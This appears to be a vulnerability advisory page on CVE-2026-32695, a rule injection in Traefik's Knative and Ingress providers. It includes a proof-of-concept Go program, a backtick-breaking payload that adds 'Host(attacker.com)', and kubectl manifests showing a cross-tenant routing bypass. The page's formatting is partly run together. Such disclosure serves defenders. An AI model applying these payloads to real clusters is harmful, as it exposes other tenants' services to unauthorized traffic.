Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-32695 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
There is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.
User-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative rules[].hosts[] was exploitable for host restriction bypass (for example tenant.example.com) || Host(attacker.com), producing a router that serves attacker-controlled hosts. Knative headers[].exact also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.
Tested on Traefik v3.6.10; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.
The issue is caused by unsafe rule-string construction using fmt.Sprintf with backtick-delimited literals.
Incriminated code patterns:
pkg/provider/kubernetes/knative/kubernetes.go
fmt.Sprintf("Host(%v)", host)Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
fmt.Sprintf("Header(%s,%s)", key, headers[key].Exact)fmt.Sprintf("PathPrefix(%s)", path)pkg/provider/kubernetes/ingress/kubernetes.go
fmt.Sprintf("Host(%s)", host)fmt.Sprintf("(Path(%[1]s) || PathPrefix(%[1]s/))", path)pkg/provider/kubernetes/ingress-nginx/kubernetes.go (hardening candidate; not the primary confirmed vector in this report)
fmt.Sprintf("Header(%s, %s)", c.Header, c.HeaderValue)Because inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:
x) || Host(attacker.comWhen used as a header value in Knative rule construction, the resulting rule contains:
Header(X-Poc,x) || Host(attacker.com)This alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (hosts[] vs headers[].exact) this can become a direct routing bypass.
Important scope note:
pkg/provider/kubernetes/gateway/httproute.go) already uses safer %q formatting for header/query rules and is not affected by this exact pattern.spec.rules.host is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked).rules[].hosts[] and headers[].exact are typed as string in CRD schema with no pattern constraint.rules[].hosts[] was accepted and produced a practical host bypass. headers[].exact was also accepted and produced rule-syntax injection in generated routers.poc_build_rule.gogo run poc_build_rule.go(Host(tenant.example.com)) && (Header(X-API-Key,secret123)) && PathPrefix(/)(Host(tenant.example.com)) && (Header(X-API-Key,x) || Host(attacker.com)) && PathPrefix(/)Inline PoC code (self-contained):
package main
import (
"fmt"
"sort"
"strings"
)
func buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {
var operands []string
if len(hosts) > 0 {
var hostRules []string
for _, host := range hosts {
hostRules = append(hostRules, fmt.Sprintf("Host(`%v`)", host))
}
operands = append(operands, fmt.Sprintf("(%s)", strings.Join(hostRules, " || ")))
}
if len(headers) > 0 {
headerKeys := make([]string, 0, len(headers))
for k := range headers {
headerKeys = append(headerKeys, k)
}
sort.Strings(headerKeys)
var headerRules []string
for _, key := range headerKeys {
headerRules = append(headerRules, fmt.Sprintf("Header(`%s`,`%s`)", key, headers[key].Exact))
}
operands = append(operands, fmt.Sprintf("(%s)", strings.Join(headerRules, " && ")))
}
if len(path) > 0 {
operands = append(operands, fmt.Sprintf("PathPrefix(`%s`)", path))
}
return strings.Join(operands, " && ")
}
func main() {
legitHeaders := map[string]struct{ Exact string }{
"X-API-Key": {Exact: "secret123"},
}
fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, legitHeaders, "/"))
maliciousHeaders := map[string]struct{ Exact string }{
"X-API-Key": {Exact: "x`) || Host(`attacker.com"},
}
fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, maliciousHeaders, "/"))
// Safe variant example (Gateway-style):
fmt.Println(fmt.Sprintf("Header(%q,%q)", "X-API-Key", "x`) || Host(`attacker.com"))
}
kubectl apply -f - <<'YAML'apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
name: poc-host-injection
namespace: default
annotations:
# This exact key worked in live validation:
networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
rules:
- hosts:
- 'tenant.example.com`) || Host(`attacker.com'
visibility: External
http:
paths:
- path: "/"
splits:
- percent: 100
serviceName: dummy
serviceNamespace: default
servicePort: 80
YAML
networking.internal.knative.dev/v1alpha1 and networking.knative.dev/v1alpha1.)(Host(tenant.example.com) || Host(attacker.com)) && PathPrefix(/).Host: attacker.com returns backend 200.kubectl apply -f - <<'YAML'apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
name: poc-rule-injection
namespace: default
annotations:
networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
rules:
- hosts:
- "tenant.example.com"
visibility: External
http:
paths:
- path: "/"
headers:
X-Poc:
exact: 'x`) || Host(`attacker.com'
splits:
- percent: 100
serviceName: dummy
serviceNamespace: default
servicePort: 80
YAML
|| Host(attacker.com) is present.Host: attacker.com and no expected tenant header (expected: 404 for this payload shape, because leading Host(tenant) still applies).Host: tenant.example.com and X-Poc: x (expected: 200 from backend).kubectl apply -f - <<'YAML'apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: poc-ingress-host-injection
namespace: default
annotations:
kubernetes.io/ingress.class: traefik
spec:
rules:
- host: 'tenant.example.com`) || Host(`attacker.com'
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: dummy
port:
number: 80
YAML
host must satisfy DNS-1123.Validation executed in this report:
go run and output matched expected injected rule.kind cluster (kind-traefik-poc) with Traefik v3.6.10 and Knative Serving CRDs.networking.knative.dev/ingress.class (dot). The hyphen variant was not used by the successful processing path.Host: attacker.com reached backend (200) for Knative host-injection payload.